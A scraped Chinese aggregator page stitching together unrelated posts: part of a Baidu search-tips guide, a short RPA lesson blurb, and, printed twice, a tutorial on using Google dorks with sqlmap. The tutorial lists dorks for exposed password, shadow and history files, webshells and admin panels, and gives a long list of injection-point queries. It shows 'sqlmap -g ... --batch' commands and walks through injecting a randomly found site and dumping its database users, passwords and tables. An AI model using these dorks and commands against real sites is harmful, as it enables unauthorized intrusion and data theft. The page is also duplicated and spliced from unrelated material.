举个例子,在百度中以关键词「学习App」进行搜索,默认排在搜索结果顶部的是来自知乎的内容。
为了对比前后的效果,以「学习App-知乎」再次搜索,返回的结果就会过滤来自知乎的内容。
②在指定网站中搜索
在关键词后面加上site:网址,可以在指定的网站中搜索关键词,这比较适合垂直且网址好记的网站,可以让你在不打开网站的情况下,直接使用关键词进行搜索。
以寻找答辩 PPT模板为例,直接以「答辩ppt」进行搜索,返回的结果来自不同的网站,既有 PPT 教程的内容,也有 PPT 模板网站,比较杂乱。
如果你只想搜索返回 PPT模板的结果,可试着将搜索的范围局限在PPT模板网站,例如微软家的模板网站,这样得到的搜索结果会更加精确。
值得一提的是,site:后面添加的网址,不需要带上或,否则返回的结果会显示没有找到相关的内容。
③指定文件类型
在关键词后面加上filetype:文件格式,可以指定搜索结果返回的文件类型,这里的文件格式包含但不限于 ppt、doc、pdf、xls 等。
还是以答辩 PPT为例,在关键词后面加上「filetype:ppt」,这样返回的结果就都仅限于 ppt 格式的文档,不会乱入其他类型的文件。
需要注意的是,自 Office2013起,Office新增了三种类型的兼容格式pptx、docx和xlsx,但百度的filetype指令不支持这三个新的格式,而在 Google 中则可以正常使用。
④精确匹配
有时我们使用关键词进行搜索时,搜索引擎会将我们的关键词拆分为两个小短语进行搜索,导致搜索返回的结果不尽如人意。
为了解决这个问题,我们可以将关键词放到引号里边,这样搜索引擎在搜索时就会返回包含完整关键词的结果,不会将关键词拆分为乱序的多个短语。
这里的引号既可以是中文引号,也可以是英文引号,使用中文或英文引号对搜索返回的结果不会有影响。
如下图所示,以「“城市地铁”」进行搜索时,返回的结果都是完全匹配的,相比为未添加引号时可以适当地提高搜索效率。
⑤通配符搜索
俗话说“好记性不如烂笔头”,有时刚听到或想到的东西,由于没有及时记录下来,不一会儿在我们脑中可能就只剩下星星点点的碎片。
就像是你隐约记得有部动漫叫《四月xx谎言》,但就是想不起中间的部分,此时你就可以使用星号*来代替,以此来告知搜索引擎,中间还有一部分你不清楚的内容。
这里的星号*被称为通配符,常用于模糊搜索的场景,当你不知道完整的文本时,可以使用通配符代替其中的一个或多个字符,以此来尽可能地接近自己想要搜索的内容。
⑥限定标题关键词
在关键词 A后面加上intitle:关键词 B,它有点像是数学中的交集,即搜索返回的结果中,其标题必须同时包含关键词 A和 B。
以下图为例,以「学习网站intitle:剪辑」进行搜索,下方返回的搜索结果就会同时包含这两个关键词,让搜索结果更聚焦。
前面虽然单独介绍了每一个搜索指令,但在实际搜索场景下,我们可以将两个或多个搜索命令结合起来使用,不同指令联动配合,提高搜索的效率和质量。
02.百度高级搜索
刚接触这些搜索指令的朋友,前期可能还会记得,但如果后续没有有意识地使用它们,随着时间的流逝,这些指令就会慢慢被遗忘。
比较幸运的是,百度也自带了类似搜索指令的高级搜索,它以更易于理解的形式,将搜索指令呈现在我们面前。
点击百度搜索页面右上角的「设置」,打开「高级搜索」。
在你了解了前面各个指令的含义之后,再来看下图的高级搜索面板,应该就很好理解了。
以搜索关键词为例,完整关键词对应精确匹配的命令,不包括关键词对应过滤关键词命令。
在包含完整关键词输入框中输入关键词「城市地铁」,接着点击底部的高级搜索,在打开的搜索页面中,它会自动为关键词加上双引号,这与前面介绍的搜索命令是一致的。
此外,高级搜索面板还可以限定搜索返回的文档格式,这里列出的文档格式更清晰,包含 pdf、doc、xls、ppt 和 rtf 文件。
03.以图搜图
不少朋友可能都知道百度的「以图搜图」功能,通过将本地的图片上传到百度,它会帮我们找到与这张图片相关的其他图片。
但多数人每次使用百度的以图搜图时,可能都是先在百度中搜索以图搜图,然后打开百度识图的页面,最后再上传图片,整个流程下来有些繁琐。
为帮助大家更高效地使用以图搜图,这里介绍两个搜图的小技巧:
①按图搜索
这是百度图片自带的功能,当你使用百度搜索特定图片时,将鼠标移动到搜索返回的图片上方,右下角会有两个按钮,一个是下载,另一个则是按图片搜索。
点击「按图片搜索」,就会调用百度的以图搜图功能,寻找所有与当前图片相关的内容。
另外,当你点击图片的缩略图查看图片详情时,点击图片下方的「按图搜索」,同样可以实现以图搜图的操作。
② Search by Image
前面介绍的「按图搜索」有个不好的地方在于,它仅限在百度图片的页面起作用,对于其他网页的图片,就不能直接调用百度的以图搜图功能。
Search by Image,是一个强大的图片搜索插件,它集成了 30多个搜索引擎,可以将任意网页的图片上传到不同的搜索引擎,以此来查找与当前图片相关的图片或内容。
安装了插件之后,在任意图片上右击,选择「Search by image」,可以看到不同搜索引擎提供的以图搜图功能,选择 Baidu 就会直接打开百度识图页面。
打开插件的设置页面,可以查看插件集成的所有图片搜索引擎,勾选引擎前面的复选框即可启用,长按拖拽改变引擎的位置,会影响右键菜单中引擎的上下顺序。
04.屏蔽网站
在搜索时,除了过滤不需要的关键词,我们可能还想要屏蔽个人不喜欢的网站,例如各类容易让电脑中病毒的软件下载站、2345 网站等。
我对屏蔽网站比较理想的期待是,它不会出现在搜索结果中,但目前百度搜索无法做到这样,想屏蔽的网站还是会出现在搜索结果中,只能在打开网站的时候将其屏蔽。
为了间接屏蔽网站,我们需要为浏览器安装一个插件——Simple Blocker,正如其名,它屏蔽网站的操作非常简单。
安装插件后,点击右上角的插件图标,打开插件的配置页面,在网站屏蔽列表Website Blockist中粘贴你想屏蔽的网站的网址,点击下方的按钮「Save Blocklist」保存。
之后当你打开屏蔽列表中的网站,网站会跳转到 Simple Blocker的拦截页面,提示当前页面已被屏蔽。
可能这类屏蔽插件的正确用法不是这样子,正确的用法可能是为了屏蔽少儿不宜的东西,但为了屏蔽那些恶心人的网站,我也只能拿来这么用了。
Simple Blocker 插件下载地址:
05. 屏蔽广告
说到百度,它最为让人诟病的地方在于竞价排名。竞价排名,直接体现为我们在搜索结果顶部或者右侧看到的广告。
今年 4 月份百度经过一轮整改后,原本泛滥的广告行为已经有所收敛。这里我以关键词「降噪耳机」进行搜索,返回的页面顶部没有广告,广告只出现在了右侧栏。
如果你是一个强迫症患者,想去除网页侧边栏的广告,可以为浏览器安装去除广告的插件,这些插件有uBlockOrigin、AdBlock、AdGuard 等,你可以随意从中任选一款。
去广告插件下载地址:
写在最后
除了本文介绍的内容,我之前还写过一篇介绍多个垂直搜索引擎的文章,感兴趣的朋友可以戳下方的链接:
浏览至此,如果你在搜索方面也有自己的心得或体会,不妨在留言区写下你的想法,与其他朋友一起分享交流。
好看的人都在看▽
sqlamp利用搜索引擎获取目标地址进行注入
网站优化 • 优采云 发表了文章 • 0 个评论 • 173 次浏览 • 2022-06-14 14:28
随着近今年安全事件频出,个人和公司安全意识大大提高,过去对一个站点随便一试就存在sql注入漏洞的时光一去不返,但互联网上千千万万公司,还有很多站点存在sql注入漏洞,好在sqlmap提供了google搜索注入,通过定义url值来进行大批量的搜索,找到url后直接进行测试,这个测试最关键的地方就是找到一个合适的定义名称,也即搜索的文件名称,本文主要介绍google黑客的一些语法和如何利用google进行sqlmap注入目标的选定和测试。
3.7.1google黑客语法
目前世界上的搜索引擎主要有google、百度等,搜索引擎最出名的应该是google,最好用的也是google,不过现在google被墙了(需要购买VPN或者通过sock5代理才能访问),google其强大的搜索功能,可以在瞬间找到想要的一切。对于普通的用户而言,Google是一个强大的搜索引擎,但对于黑客而言,则可能是一款绝佳的黑客辅助工具,google每天不间断的对世界上的网站进行爬取,相当于一个巨型漏洞扫描器。因此黑客可以构造特殊的关键字语法,使用Google搜索关键字配置等信息。通过Google,黑客甚至可以在几秒种内黑掉一个网站。这种利用Google搜索相关信息并进行入侵的过程就叫做Google Hack。Google Hacking的含义原指利用Google搜索引擎搜索信息来进行入侵的技术和行为,现指利用各种搜索引擎搜索信息来进行入侵的技术和行为。
1.google基础语法
Google 不分大小写;Google 可以使用通配符“*”表示一个词/字;Google 会智能地保留一些内容,比如一些过时的词,一些不适合呈现的内容(比如违法信息);最常用的"关键字",双引号会使Google强制搜索包含关键字的内容;布尔操作符AND(+)、NOT(-)、OR(|),AND现在已不需要,多个关键字google会都匹配到。
(1)inurl——搜索包含有特定字符的URL
inurl:admin/manager 则可以找到带有admin/manager字符的URL,通常这类网址是管理员后台的登录网址,其它后台地址名称还有:
admin
admin_index
admin_admin
index_admin
admin/index
admin/default
admin/manage
admin/login
manage_index
index_manage
manager/login
manager/login.asp
manager/admin.asp
login/admin/admin.asp
houtai/admin.asp
guanli/admin.asp
denglu/admin.asp
admin_login/admin.asp
admin_login/login.asp
admin/manage/admin.asp
admin/manage/login.asp
admin/default/admin.asp
admin/default/login.asp
member/admin.asp
member/login.asp
administrator/admin.asp
administrator/login.asp
(2)intext(allintext)——搜索网页正文内容中的指定字符
intext(allintext):网页内容查找关键字,例如输入“intext:百度”,这会查找包含百度关键字的网页。
(3)site——限制显示某个域名的所有页面
site: 则仅仅显示域名,同时还可以使用“-”进行排除。
(4)filetype——对目标进行某些文件类型检索
filetype后跟文件类型,目前常见的类型有doc、xml、rar、docx、inc、mdb、txt
、email、xls、.sql、inc、conf、txtf、xml、pdf、zip、tar.gz、xlsl等。
例如搜索doc文档,则在搜索输入框中键入:filetype:doc,这种方法主要是搜索某目标网站的一些通过google爬虫爬取的信息。filetype后跟脚本语言后缀,例如搜索asp脚本:filetype:asp,其它类型类似,主要有jsp、php、aspx、cfm等,可以仅仅查看这些脚本的url。
(5)intitle——限制搜索的网页标题页面
搜索网页标题中包含有特定字符的网页,allintitle: 搜索所有关键字构成标题的网页.(allintite:关键字或者url地址)
(6)link——将显示跟指定网页的所有链接的网页
(7)cache——将显示在Google cache中的网页
(8)info——查找指定站点的一些基本信息
2.操作符说明
在google中共有“+”、“-”、“~”、“.”、“*”、“""”等操作符,其中“+“表示将可能忽略的字列入查询范围,“-”把某个关键字忽略,“~”同意词、“.”单一的通配符,“*”通配符,可代表多个字母;“""”精确查询。
3.google黑客的一些应用
(1)搜索敏感信息泄露
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" admin
inurl:service.pwd
intitle:phpmyadmin intext:Create newdatabase//搜索phpmyadmin直接进入后台
intitle:"php shell*" "Enablestderr" filetype:php//批量搜索webshell
intitle:"index of" data//列出data目录
intilte:"error occurred" ODBCrequest where (select|insert)//搜索sql注入出错页面
intitle:index.of filetype:log//搜索日志文件
(2)查找管理后台
intitle:管理
intitle:登录
intitle:后台
intitel:"后台登录"
(3)查找警告错误信息
intile:error
intitle:warning
0x004 inurl的用法
(3)查找数据库和配置文件
inurl:editor/db/
inurl:eWebEditor/db/
inurl:bbs/data/
inurl:databackup/
inurl:blog/data/
inurl:okedata
inurl:bbs/database/
inurl:conn.asp
inurl:inc/conn.asp
inurl:"viewerframe?mode="//搜索摄像头地址
inurl:db
inurl:mdb
inurl:config.txt
inurl:bash_history
inurl:data filetype:mdb//搜索mdb格式数据库
(4)搜索备份文件
inurl:temp
inurl:tmp
inurl:backup
inurl:bak
(5)inurl中查找注入点
site: filetype:asp
site:tw inurl:asp?id=//这个是找台湾的
site:jp inurl:php?id=// 这个是找日本的
site:ko inurl:jsp?id=// 这个是找韩国的
(6)目标遍历漏洞
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
“inde xof/ inurl:lib
3.7.2google黑客入侵方法及思路
1.获取主域名下的所有其他子域名或者页面信息
site:
2.找各个子域名的管理后台
site:intitle:管理或者后台或者登陆等关键字
site: inurl:login或者inurl:admin可以跟常用的后台路径
site: intext:管理或者后台或者登陆等关键字
3.查找各子域名脚本文件
site: filetype:jsp
site: filetype:aspx
site: filetype:php
site: filetype:asp
可以穷尽化对各个子域名的脚本文件页面。
4.查找上传路径地址
site: inurl:file
site: inurl:load
site: inurl:file
5.收集email邮箱等敏感信息
6.对存在脚本页面及传入参数进行sql注入测试
7.对收集到的域名进行漏洞扫描
3.7.3sqlmap利用搜索引擎进行注入命令参数
sqlmap中提供了google进行批量获取注入的命令,通过该命令可以批量获取url,对存在其中的url进行注入测试。
1.命令参数
sqlmap.py -g inurl:asp?id=
sqlmap.py -g inurl:aspx?id=
sqlmap.py -g inurl:php?id=
sqlmap.py -g inurl:jsp?id=
2.可以使用--batch进行自动判断和注入
注意:
(1)国内用户无法翻墙进行注入测试,测试时必须使用代理或者vpn。
(2)在kali中sqlmap命令为sqlmap -g
3.其它命令跟sqlmap进行sql注入类似
4.技巧
在定义inurl:asp?id=中指定具体的文件名称,这个名称越不大众化,越容易找出漏洞来。
5.常见的一些注入点搜索关键字
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in=inurl:gallery.php?id=
inurl:trainers.php?id=inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
inurl:news_display.php?getid=inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
inurl:top10.php?cat=inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
inurl:news.php?catid=inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id=inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id=inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id=inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id=inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category=inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
inurl:games.php?id=inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file=inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id=inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id=inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id=inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
inurl:newsitem.php?num=inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id=inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
inurl:game.php?id=inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
inurl:news.php?id=inurl:participant.php?id= about.php?cartID=
inurl:avd_start.php?avd=inurl:download.php?id= accinfo.php?cartId=
inurl:event.php?id=inurl:main.php?id= add-to-cart.php?ID=
inurl:product-item.php?id=inurl:review.php?id= addToCart.php?idProduct=
inurl:sql.php?id=inurl:chappies.php?id=addtomylist.php?ProdId=
inurl:material.php?id=inurl:read.php?id=
inurl:clanek.php4?id=inurl:prod_detail.php?id=
inurl:announce.php?id=inurl:viewphoto.php?id=
inurl:chappies.php?id=inurl:article.php?id=
inurl:read.php?id=inurl:person.php?id=
inurl:viewapp.php?id=inurl:productinfo.php?id=
inurl:viewphoto.php?id=inurl:showimg.php?id=
inurl:rub.php?idr=inurl:view.php?id=
inurl:galeri_info.php?l=inurl:website.php?id=
3.7.4实际测试案例
1.寻找可供注入点的目标网站
在kali下,使用“sqlmap -g inurl:details.php?id=”命令进行google搜索,如图1所示,首先对第一个目标进行测试,输入“Y”进行确认,也可以选择q,不测试该目标,继续测试后续的目标。
图1对第一个url进行sql注入测试
sqlmap如果第一个url获取的注入不存在漏洞,则会寻找下一个url进行注入,同时url计数为2,后续每一个注入计数加1,可以在参数后面增加--batch自动提交判断。
2.sql注入漏洞测试
如图2所示,对该注入点进行注入漏洞测试,该url一共存在四种类型的sql注入,基于布尔盲注、出错注入、基于时间盲注和联合查询注入。
图2获取四种类型的sql注入
3.基本信息获取
sqlmap支持多个参数并列获取,如图3所示,获取当前数据库、当前数据库名称、数据库用户,mysql用户以及密码等信息,有些字段需要有相对应的权限才能获取,执行命令:
“sqlmap -u --dbs --current-db --current-user--users --passwords”,在本例中获取数据库用户finvent2@localhost,当前数据库为finvent_out。
图3获取基本信息
4.数据库获取
(1)获取当前数据库下所有表
sqlmap -u -D finvent_out --tables
执行后,如图4所示,获取当前数据库finvent_out中的16个表名。
图4获取所有表名
(2)获取当前用户下的所有数据
sqlmap -u --dump-all//获取所有数据库
sqlmap -u -Dfinvent_out //仅仅获取finvent_out数据库的数据。
参考文章: 查看全部
sqlamp利用搜索引擎获取目标地址进行注入
随着近今年安全事件频出,个人和公司安全意识大大提高,过去对一个站点随便一试就存在sql注入漏洞的时光一去不返,但互联网上千千万万公司,还有很多站点存在sql注入漏洞,好在sqlmap提供了google搜索注入,通过定义url值来进行大批量的搜索,找到url后直接进行测试,这个测试最关键的地方就是找到一个合适的定义名称,也即搜索的文件名称,本文主要介绍google黑客的一些语法和如何利用google进行sqlmap注入目标的选定和测试。
3.7.1google黑客语法
目前世界上的搜索引擎主要有google、百度等,搜索引擎最出名的应该是google,最好用的也是google,不过现在google被墙了(需要购买VPN或者通过sock5代理才能访问),google其强大的搜索功能,可以在瞬间找到想要的一切。对于普通的用户而言,Google是一个强大的搜索引擎,但对于黑客而言,则可能是一款绝佳的黑客辅助工具,google每天不间断的对世界上的网站进行爬取,相当于一个巨型漏洞扫描器。因此黑客可以构造特殊的关键字语法,使用Google搜索关键字配置等信息。通过Google,黑客甚至可以在几秒种内黑掉一个网站。这种利用Google搜索相关信息并进行入侵的过程就叫做Google Hack。Google Hacking的含义原指利用Google搜索引擎搜索信息来进行入侵的技术和行为,现指利用各种搜索引擎搜索信息来进行入侵的技术和行为。
1.google基础语法
Google 不分大小写;Google 可以使用通配符“*”表示一个词/字;Google 会智能地保留一些内容,比如一些过时的词,一些不适合呈现的内容(比如违法信息);最常用的"关键字",双引号会使Google强制搜索包含关键字的内容;布尔操作符AND(+)、NOT(-)、OR(|),AND现在已不需要,多个关键字google会都匹配到。
(1)inurl——搜索包含有特定字符的URL
inurl:admin/manager 则可以找到带有admin/manager字符的URL,通常这类网址是管理员后台的登录网址,其它后台地址名称还有:
admin
admin_index
admin_admin
index_admin
admin/index
admin/default
admin/manage
admin/login
manage_index
index_manage
manager/login
manager/login.asp
manager/admin.asp
login/admin/admin.asp
houtai/admin.asp
guanli/admin.asp
denglu/admin.asp
admin_login/admin.asp
admin_login/login.asp
admin/manage/admin.asp
admin/manage/login.asp
admin/default/admin.asp
admin/default/login.asp
member/admin.asp
member/login.asp
administrator/admin.asp
administrator/login.asp
(2)intext(allintext)——搜索网页正文内容中的指定字符
intext(allintext):网页内容查找关键字,例如输入“intext:百度”,这会查找包含百度关键字的网页。
(3)site——限制显示某个域名的所有页面
site: 则仅仅显示域名,同时还可以使用“-”进行排除。
(4)filetype——对目标进行某些文件类型检索
filetype后跟文件类型,目前常见的类型有doc、xml、rar、docx、inc、mdb、txt
、email、xls、.sql、inc、conf、txtf、xml、pdf、zip、tar.gz、xlsl等。
例如搜索doc文档,则在搜索输入框中键入:filetype:doc,这种方法主要是搜索某目标网站的一些通过google爬虫爬取的信息。filetype后跟脚本语言后缀,例如搜索asp脚本:filetype:asp,其它类型类似,主要有jsp、php、aspx、cfm等,可以仅仅查看这些脚本的url。
(5)intitle——限制搜索的网页标题页面
搜索网页标题中包含有特定字符的网页,allintitle: 搜索所有关键字构成标题的网页.(allintite:关键字或者url地址)
(6)link——将显示跟指定网页的所有链接的网页
(7)cache——将显示在Google cache中的网页
(8)info——查找指定站点的一些基本信息
2.操作符说明
在google中共有“+”、“-”、“~”、“.”、“*”、“""”等操作符,其中“+“表示将可能忽略的字列入查询范围,“-”把某个关键字忽略,“~”同意词、“.”单一的通配符,“*”通配符,可代表多个字母;“""”精确查询。
3.google黑客的一些应用
(1)搜索敏感信息泄露
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" admin
inurl:service.pwd
intitle:phpmyadmin intext:Create newdatabase//搜索phpmyadmin直接进入后台
intitle:"php shell*" "Enablestderr" filetype:php//批量搜索webshell
intitle:"index of" data//列出data目录
intilte:"error occurred" ODBCrequest where (select|insert)//搜索sql注入出错页面
intitle:index.of filetype:log//搜索日志文件
(2)查找管理后台
intitle:管理
intitle:登录
intitle:后台
intitel:"后台登录"
(3)查找警告错误信息
intile:error
intitle:warning
0x004 inurl的用法
(3)查找数据库和配置文件
inurl:editor/db/
inurl:eWebEditor/db/
inurl:bbs/data/
inurl:databackup/
inurl:blog/data/
inurl:okedata
inurl:bbs/database/
inurl:conn.asp
inurl:inc/conn.asp
inurl:"viewerframe?mode="//搜索摄像头地址
inurl:db
inurl:mdb
inurl:config.txt
inurl:bash_history
inurl:data filetype:mdb//搜索mdb格式数据库
(4)搜索备份文件
inurl:temp
inurl:tmp
inurl:backup
inurl:bak
(5)inurl中查找注入点
site: filetype:asp
site:tw inurl:asp?id=//这个是找台湾的
site:jp inurl:php?id=// 这个是找日本的
site:ko inurl:jsp?id=// 这个是找韩国的
(6)目标遍历漏洞
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
“inde xof/ inurl:lib
3.7.2google黑客入侵方法及思路
1.获取主域名下的所有其他子域名或者页面信息
site:
2.找各个子域名的管理后台
site:intitle:管理或者后台或者登陆等关键字
site: inurl:login或者inurl:admin可以跟常用的后台路径
site: intext:管理或者后台或者登陆等关键字
3.查找各子域名脚本文件
site: filetype:jsp
site: filetype:aspx
site: filetype:php
site: filetype:asp
可以穷尽化对各个子域名的脚本文件页面。
4.查找上传路径地址
site: inurl:file
site: inurl:load
site: inurl:file
5.收集email邮箱等敏感信息
6.对存在脚本页面及传入参数进行sql注入测试
7.对收集到的域名进行漏洞扫描
3.7.3sqlmap利用搜索引擎进行注入命令参数
sqlmap中提供了google进行批量获取注入的命令,通过该命令可以批量获取url,对存在其中的url进行注入测试。
1.命令参数
sqlmap.py -g inurl:asp?id=
sqlmap.py -g inurl:aspx?id=
sqlmap.py -g inurl:php?id=
sqlmap.py -g inurl:jsp?id=
2.可以使用--batch进行自动判断和注入
注意:
(1)国内用户无法翻墙进行注入测试,测试时必须使用代理或者vpn。
(2)在kali中sqlmap命令为sqlmap -g
3.其它命令跟sqlmap进行sql注入类似
4.技巧
在定义inurl:asp?id=中指定具体的文件名称,这个名称越不大众化,越容易找出漏洞来。
5.常见的一些注入点搜索关键字
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in=inurl:gallery.php?id=
inurl:trainers.php?id=inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
inurl:news_display.php?getid=inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
inurl:top10.php?cat=inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
inurl:news.php?catid=inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id=inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id=inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id=inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id=inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category=inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
inurl:games.php?id=inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file=inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id=inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id=inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id=inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
inurl:newsitem.php?num=inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id=inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
inurl:game.php?id=inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
inurl:news.php?id=inurl:participant.php?id= about.php?cartID=
inurl:avd_start.php?avd=inurl:download.php?id= accinfo.php?cartId=
inurl:event.php?id=inurl:main.php?id= add-to-cart.php?ID=
inurl:product-item.php?id=inurl:review.php?id= addToCart.php?idProduct=
inurl:sql.php?id=inurl:chappies.php?id=addtomylist.php?ProdId=
inurl:material.php?id=inurl:read.php?id=
inurl:clanek.php4?id=inurl:prod_detail.php?id=
inurl:announce.php?id=inurl:viewphoto.php?id=
inurl:chappies.php?id=inurl:article.php?id=
inurl:read.php?id=inurl:person.php?id=
inurl:viewapp.php?id=inurl:productinfo.php?id=
inurl:viewphoto.php?id=inurl:showimg.php?id=
inurl:rub.php?idr=inurl:view.php?id=
inurl:galeri_info.php?l=inurl:website.php?id=
3.7.4实际测试案例
1.寻找可供注入点的目标网站
在kali下,使用“sqlmap -g inurl:details.php?id=”命令进行google搜索,如图1所示,首先对第一个目标进行测试,输入“Y”进行确认,也可以选择q,不测试该目标,继续测试后续的目标。
图1对第一个url进行sql注入测试
sqlmap如果第一个url获取的注入不存在漏洞,则会寻找下一个url进行注入,同时url计数为2,后续每一个注入计数加1,可以在参数后面增加--batch自动提交判断。
2.sql注入漏洞测试
如图2所示,对该注入点进行注入漏洞测试,该url一共存在四种类型的sql注入,基于布尔盲注、出错注入、基于时间盲注和联合查询注入。
图2获取四种类型的sql注入
3.基本信息获取
sqlmap支持多个参数并列获取,如图3所示,获取当前数据库、当前数据库名称、数据库用户,mysql用户以及密码等信息,有些字段需要有相对应的权限才能获取,执行命令:
“sqlmap -u --dbs --current-db --current-user--users --passwords”,在本例中获取数据库用户finvent2@localhost,当前数据库为finvent_out。
图3获取基本信息
4.数据库获取
(1)获取当前数据库下所有表
sqlmap -u -D finvent_out --tables
执行后,如图4所示,获取当前数据库finvent_out中的16个表名。
图4获取所有表名
(2)获取当前用户下的所有数据
sqlmap -u --dump-all//获取所有数据库
sqlmap -u -Dfinvent_out //仅仅获取finvent_out数据库的数据。
参考文章:
RPA经典案例|第57课:点击网页指定内容目标项
网站优化 • 优采云 发表了文章 • 0 个评论 • 60 次浏览 • 2022-06-14 11:05
每日10分钟小视频,掌握一项小技能。
▼课程主题:本节课讲解典型案例:点击指定文本列表项。
▼所需命令:获取元素文本、计次循环、点击目标、数据抓取、获取数组长度、查找字符串。
▼课程视频:
▼下期预告:Excel扩展命令。
查看全部
RPA经典案例|第57课:点击网页指定内容目标项
每日10分钟小视频,掌握一项小技能。
▼课程主题:本节课讲解典型案例:点击指定文本列表项。
